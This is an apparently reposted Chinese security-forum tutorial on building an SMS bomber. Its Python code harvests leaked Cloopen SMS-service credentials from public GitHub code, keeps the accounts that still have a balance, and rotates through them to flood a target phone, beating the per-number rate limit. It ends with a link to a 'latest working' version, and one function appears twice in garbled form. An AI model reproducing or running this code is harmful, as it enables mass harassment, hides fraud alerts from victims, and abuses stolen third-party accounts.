文章转自极安中国
已获原作者转载许可
原帖地址
https://bbs.secgeeker.net/thread-743-1-1.html
短信轰炸机就是个批量发送短信的恶作剧软件，其危害可大可小。试想一打开手机就papa弹短信提示，费电不说还把有用短信给埋起来，挺恶心人的。而且它也可以用作黑产，很久之前就听说有黑客用垃圾短信轰炸受害人手机，将盗刷短信埋在垃圾短信里。
近两年很少看到有相关的新闻，但并不能说明这东西就少了。由于国家要求一些网站提供服务必需实名制，导致网站注册大部分都需要手机验证码，所以笔者猜测这些短信接口有不少可能已经被做成了短信轰炸机。
另外由于很多开发者，尤其是刚入职的新人，倾向于将公司的代码上传到自己的github上，不仅侵犯了代码的知识产权，还将公司的敏感数据泄漏了。这篇文章的切入点就是从github上搜索泄漏的短信接口账号信息。
下面我将使用github搜索到的短信服务账号制作一个简单的短信轰炸机。
轰炸机主要有两个模块：短信发送、搜索账号。发送短信根据短信接口文档得到；搜索账号通过搜索github并从中提取账号信息。
1. 短信发送接口
短信发送这里使用的是cloopen的服务。
首先得吐槽下cloopen的文档与py的sdk代码写得是真不咋样。笔者只得重写了一部分接口代码(查看账户、查看templateId, 发送短信)，一些返回字段得测试后才能知道其含义。主要代码如下
classCloopen:
URL ='https://app.cloopen.com:8883/2013-12-26'
def __init__(self,sid,token,appid):
self.sid =sid
self.token =token
self.appid =appid
self.template_ids =[]
self.balance =0.0
def load_valid_template_ids(self):
"""加载可用短信模板"""
ifself.template_ids:
returnself.template_ids
resp =self.query_sms_template('')
ifresp['statusCode'] =='000000':
self.template_ids =[d['id'] ford inresp['TemplateSMS'] ifd['status'] =='1']
returnself.template_ids
def send_sms(self,recvr,template_id,*datas):
body ={'to':recvr,'datas':datas,'templateId':template_id,'appId':self.appid}
returnself._send_request("/Accounts/"+self.sid+"/SMS/TemplateSMS",body=json.dumps(body))
def query_sms_template(self,template_id):
"""
查询短信模板
:param template_id 模板Id，不带此参数查询全部可用模板
"""
body ={'appId':self.appid,'templateId':template_id}
returnself._send_request('/Accounts/' +self.sid +'/SMS/QuerySMSTemplate',json.dumps(body))
def query_account_info(self):
returnself._send_request("/Accounts/"+self.sid +"/AccountInfo")
def _send_request(self,path,body=None):
# 生成sig
ts =datetime.datetime.now().strftime("%Y%m%d%H%M%S")
signature =self.sid +self.token +ts
sig =md5(signature.encode('utf-8')).hexdigest().upper()
# basic auth
req =Request(Cloopen.URL +path+"?sig="+sig)
req.add_header('Authorization',b64encode((self.sid+':'+ts).encode('utf-8')).strip())
req.add_header('Accept','application/json')
req.add_header('Content-Type','application/json;charset=utf-8')
ifbody:
req.data=body.encode('utf-8')
withurlopen(req)asresp:
returnjson.loads(resp.read().decode('utf-8'))
def __str__(self,*args,**kwargs):
return'Account:{sid:%s,token:%s,appid:%s,template_ids:%s,balance:%.2f}' % \
(self.sid,self.token,self.appid,str(self.template_ids),self.balance)
def __eq__(self,other):
ifisinstance(other,self.__class__):
returnself.sid ==other.sid
returnFalse
def __hash__(self,*args,**kwargs):
returnhash(self.sid)
2.搜索github，查找可用账号
根据cloopen的开发文档，要发送短信需要有：accountSid，accountToken，appId，templateId。前两个字段是注册后平台提供给用户，用于调用api时进行认证.templateId是短信模板id，但可以通过接口取得该账号下的所有短信模板，所以只需要在github上中抽取前三个字段就可以了。
搜索github上使用蟒的github上库进行，代码不复杂。另外github上速度太慢，所以使用了GEVENT。
def search_all(keyword, max_page=10, greenlet_count=3):
"""
通过协程并发搜索
:param max_page 最大页数
:param greenlet_count 协程数量
"""
paging = client.search_code(keyword)
total_page = min(max_page, paging.totalCount/20)
tasks = Queue()
for i in range(1, total_page+1):
tasks.put(i)
accounts = set()
def _search():
while not tasks.empty():
try:
page_no = tasks.get()
logging.info('正在搜索第%d页' % page_no)
contents = map(lambda x: x.decoded_content.decode('utf-8'), paging.get_page(page_no))
accounts.update({Cloopen(*p) for p in map(extract, contents) if p})
except Exception as err:
logging.error(err)
break
import gevent
gevent.joinall([gevent.spawn(_search) for _ in range(greenlet_count)])
return accounts
搜索后通过正则提取相关字段。
def extract(content):
"""
从搜索结果中抽取字段
"""
# 提取主要字段
def search_field(keyword_and_pattern):
keyword, pattern = keyword_and_pattern
for line in content.split('\n'):
if re.search(keyword, line, re.IGNORECASE):
match = re.search(pattern, line)
if match:
return match.group(0)
account_sid, account_token, appid = map(search_field, [('sid', '[a-z0-9]{32}'),
('token', '[a-z0-9]{32}'),
('app.?id', '[a-z0-9]{32}')])
if all([account_sid, account_token, appid]):
return account_sid, account_token, appid
搜索后通过正则提取相关字段。
def extract(content):
"""
从搜索结果中抽取字段
"""
# 提取主要字段
def search_field(keyword_and_pattern):
keyword,pattern =keyword_and_pattern
forline incontent.split('\n'):
ifre.search(keyword,line,re.IGNORECASE):
match =re.search(pattern,line)
ifmatch:
returnmatch.group(0)
account_sid,account_token,appid =map(search_field,[('sid','[a-z0-9]{32}'),
('token','[a-z0-9]{32}'),
('app.?id','[a-z0-9]{32}')])
ifall([account_sid,account_token,appid]):
returnaccount_sid,account_token,appid
搜索后还要过滤有效的账号，这里只保留有余额且有template_id的账号。
def collect_accounts():
foraccount insearch_all('app.cloopen.com',max_page=6):
info =account.query_account_info()
ifinfo['statusCode'] =='000000':
balance =float(info['Account']['balance'])
ifbalance >0:
account.balance =balance
ifaccount.load_valid_template_ids():
yield account
发动攻击
cloopen出于安全考虑对于同一个号码发送相同短信要间隔30秒，但如果收集的账号足够多，这个限制也没多大用处，发送的代码如下
效果
简单测试了下代码，发现效果有点超出预期。
附上一个最新可用的吧
bbs.secgeeker.net / thread-1196-1-1.html
